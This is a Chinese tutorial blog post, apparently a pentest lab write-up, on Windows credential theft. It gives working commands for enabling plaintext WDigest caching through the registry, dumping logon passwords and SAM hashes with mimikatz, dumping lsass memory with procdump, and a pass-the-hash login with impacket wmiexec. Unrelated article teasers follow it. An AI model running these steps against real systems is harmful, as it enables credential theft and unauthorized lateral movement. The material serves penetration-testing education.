24_mimikatz

news2024/11/14 14:17:20

mimikatz

一、介绍

在这里插入图片描述
在这里插入图片描述

二、修改注册表抓取明文密码

当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。

重启或用户重新登录后可以成功抓取

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 

先修改注册表,让内存缓存中可以保存明文密码
在这里插入图片描述

然后修改一下密码,win10虚拟机之前没有密码,新密码为123456
在这里插入图片描述

在这里插入图片描述
紧接着需要重新启动
在这里插入图片描述
然后使用mimikatz工具

提升权限:  privilege::debug 
抓取密码:  sekurlsa::logonpasswords

在这里插入图片描述
可以看到成功抓取到了用户的账户密码和主机名称
在这里插入图片描述

三、reg save 导出NTLM hash值

上面抓取明文密码的实验中,我们修改注册表的时候,会发现报毒,因为我们这属于不正规操作

因此我们可以通过另一种方法来登录
上面抓取密码的时候,这里有一项,NTLM值
NTLM可以把它当作明文密码使用,只要获取了这个NTLM的hash值,就相当于获取了明文密码
在这里插入图片描述

那么怎么获取这个NTLM hash值?
我们可以通过导出SAM表的数据,然后用mimikatz工具提取hash的方法

reg save HKLM\SYSTEM SYSTEM 
reg save HKLM\SAM SAM 

在这里插入图片描述
reg save 可以将注册表保存到本地
在这里插入图片描述
然后通过mimikatz工具,输入以下命令提取NTLM hash值

lsadump::sam /sam:SAM /system:SYSTEM

在这里插入图片描述
在这里插入图片描述
得到NTLM hash之后,可以使用pth攻击登录,pth===>pass the hash attack

四、Procdump+Mimikatz获取NTLM hash值

当mimikatz无法在主机上运行时,可以使用微软官方发布的工具Procdump导出lsass.exe

原理就是使用procdump 导出lsass.exe程序中的内存,再使用mimikatz 读取对应的ntlm值,当然这个mimikatz工具是在本地搭建的,并不是目标主机上

将lsass.dmp下载到本地后,然后执行mimikatz

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

在这里插入图片描述
为了方便复制与查看,可以输出到本地文件里面

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" > password.txt

可以看到password.txt文件里面获取到了NTLM hash值,密码有时候能获取到,有时候获取不到,但是我们主要是要NTLM hash值,NTLM可以当作明文密码使用
在这里插入图片描述

五、pth攻击

关于如何使用NTLM hash值登录,这点其实主要使用在域的横向移动那里
具体可以去看我写的域那篇文章的横向移动部分
这里只是稍微说下

pth ===> pass the hash pth 攻击
先让主机加入一个域
在这里插入图片描述

然后利用impacket-0.9.22工具包,按照下面命令运行

apt-get python3-pip
cd /home/kali/Desktop/impacket-0.9.22/
python3 -m pip install .
cd examples/
python3 wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4  ./Administrator@192.168.11.140

在这里插入图片描述

使用NTLM hash值成功登录

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/196822.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java设计模式总结

java常用七种设计模式总结单例模式单例模式的实现第 1 种:懒汉式单例第 2 种:饿汉式单例工厂方法模式一,简单工厂模式二、工厂方法模式三、抽象工厂模式建造者模式策略模式模板方法责任链模式代理模式适配器模式观察者模式单例模式 单例模式…

第三届腾讯Light技术公益创造营启动

简介 腾讯Light技术公益创造营通过持续探索技术与公益的结合,已经打造出了包括推进公众参与中华白海豚保育的公益计划、使用AI技术助力新生儿黄疸诊断的“高危儿拯救计划”等一批优秀项目 全面升级的第三届腾讯Light技术公益创造营在海南海口正式启动,…

Redis 分布式锁实现详解

一、概述分布式锁,即分布式系统中的锁。在单体应用中我们通过锁解决的是控制共享资源访问的问题,而分布式锁,就是解决了分布式系统中控制共享资源访问的问题。与单体应用不同的是,分布式系统中竞争共享资源的最小粒度从线程升级成…

Go练手==若依go语言版本开发day01

代码地址:ry-vue-go: 使用GO开发若依后台 启动方式: pycharm打开项目后点击main.go启动后端 打开文件夹浏览器后,点击ruoyi-ui下的z_start_ui.bat启动前端 数据库 mysql 缓存redis ORM框架 GORM WEB框架 GIN 今日实现功能 mysql连接池U…

python采集《狂飙》评论,看看是什么让它如此火爆

前言 大家早好、午好、晚好吖 ❤ ~ “是非面前稍不留神,就会步入万丈深渊,唯有坚守信仰,才能守得初心” 2023年首部爆款剧集《狂飙》迎来大结局,今天我们就来采集一下评论,看看为什么它这么火爆 开发环境: python 3.8 pycharm …

计算机网络-TCP如何保证传输可靠性

TCP协议传输的特点主要就是面向字节流、传输可靠、面向连接。 TCP协议如何确保传输的可靠性的? 确保传输可靠性的方式 TCP协议保证数据传输可靠性的方式主要有: 1.校验和 2.序列号 3.确认应答 4.超时重传 5.连接管理 6.流量控制 7.拥塞控制 1.校验和 发送方&a…

MVC,MVP和MVVM框架之间的理解

一、MVC的理解 1、MVC是什么 MVC, 即Model-View-Controller, 基于页面逻辑的修改要多于业务逻辑, 分离两种逻辑减少类代码的修改 Model: 即数据层, 负责处理业务逻辑, 监听网络与数据库接口View: 即界面(UI)层, 显示来源于Model的数据Contoller: 即逻辑层, 传递用户的交互和更…

面向对象三大特征之三:多态、内部类、常用API

目录 面向对象三大特征之三:多态 多态的概述、形式 多态的优势 多态下引用数据类型的类型转换 多态的案例 内部类 内部类的概述 内部类之一:静态内部类[了解] 内部类之二:成员内部类[了解] 内部类之三:局部内部类[了解]…

智能DTU

什么是DTU百度百科:DTU (Data Transfer unit),是专门用于将串口数据转换为 IP 数据或将 IP 数据转换为串口数据通过无线通信网络进行传送的无线终端设备。DTU目前现状在物联网大爆发的时代,除了各种传感器,DTU 设备也得到了很大的…

免费舆情监控工具有哪些,TOOM加强舆情监控提高应对能力

免费舆情监控是指通过免费的网络舆情监控工具,对网络上关于话题、公司、产品或者人物的舆论进行监测和分析,旨在帮助用户了解社会舆论的变化和趋势。免费舆情监控工具一般提供基本的舆论监测功能,功能较为有限,但是对于个人用户或…

JavaWeb-HTML入门

目录一、认识HTML二、学习HTML语法2.1 注释标签2.2 标题标签2.3 段落标签 p2.3 换行标签2.4 字体设置标签2.5 图片标签2.6 超链接标签2.7 表格标签2.8 列表标签2.9 表单标签2.10 select下拉菜单2.11 textarea多行编辑框2.12 无语义标签一、认识HTML HTML的全称为超文本标记语言…

车载网络 - Autosar网络管理 - 处理逻辑时间参数

前面已经将Autosar常用的缩写名词、运行状态机、个状态报文发送状态等基础信息进行了说明,下面就剩下时间参数和网络管理逻辑,如果要讲处理的逻辑的话我个人觉得还是先要把时间参数介绍下,毕竟时间参数贯穿于整个处理逻辑中。 时间参数: 作为衡量一个软件产品性能的重要指标…

简单地了解NLP

一、基本概念 自然语言处理(NLP)是研究人与计算机交互的语言问题的一门学科。它研究人与计算机之间用自然语言进行有效通信的理论和方法。融语言学、计算机科学、数学等于一体的科学。自然语言处理的工作原理是先接收到通过人类使用演变而来的自然语言&…

连锁店销量预测

目录任务数据解读及简单探索解决思路传统机器学习方法代码评估深度学习方法代码评估建议参考文献任务 利用深度学习、强化学习等机器学习手段为某连锁商店预测每个商店未来12周的销售额进行估计,以便对商店的经营更好掌握和对库存调拨更好管理。 数据解读及简单探…

(十二) Docker-compose容器编排

Docker-compose一、概述1、简介2、作用3、下载二、核心概念三、使用步骤四、Compose常用命令五、Compose编排微服务实践一、构建项目的镜像1、建立数据库表2、POM文件3、YAML4、主启动类5、业务类1、生成简易代码2、配置类3、实体类4、Mapper5、Service6、Controller6、打 Jar …

3.SQL

梳理 名词解释 视图:视图是一个虚表,其本质就是一条SELECT语句,而查询结果被赋予了一个名字,也即视图名字。或者说视图本身不包含任何数据,它只包含映射到基表的一个查询语句,当基表数据发生变化时&#x…

【JavaGuide面试总结】Spring篇·中

【JavaGuide面试总结】Spring篇中1.谈谈自己对于 AOP 的了解2.Spring AOP 和 AspectJ AOP 有什么区别?3.AspectJ 定义的通知类型有哪些?4.Spring AOP多个切面的执行顺序如何控制?5.说说自己对于 Spring MVC 了解?6.Spring MVC 的核心组件有哪…

企业数字化转型的五大关键要素

数字化转型是顺应新一轮科技革命和产业变革趋势,不断深化应用云计算、大数据、物联网、人工智能、区块链等新一代信息技术,激发数据要素创新驱动潜能,打造提升信息时代生存和发展能力,加速业务优化升级和创新转型,改造…

软测(概念) · 开发模型 · 软件的生命周期 · 瀑布模型 · 螺线模型 · 增量模型 · 迭代模型 · 敏捷模型 · scrum

一、开发模型的由来二、软件的生命周期三、瀑布模型(Waterfall Model)四、螺线模型(Spiral Model)五、增量模型(Incremental Model)六、迭代模型(Rational UnifiedProcess)七、敏捷模…

daz ue和maya插件配置

daz ue插件配置用这个插件方便导入材质,毕竟材质球还是挺多的我安装的时候DAZ Install Manager需要定位,没成功就直接用dll放在daz安装里面也可以直接用,daz ue插件放在插件目录daz maya2022插件配置首先用DAZ Install Manager安装daz maya插…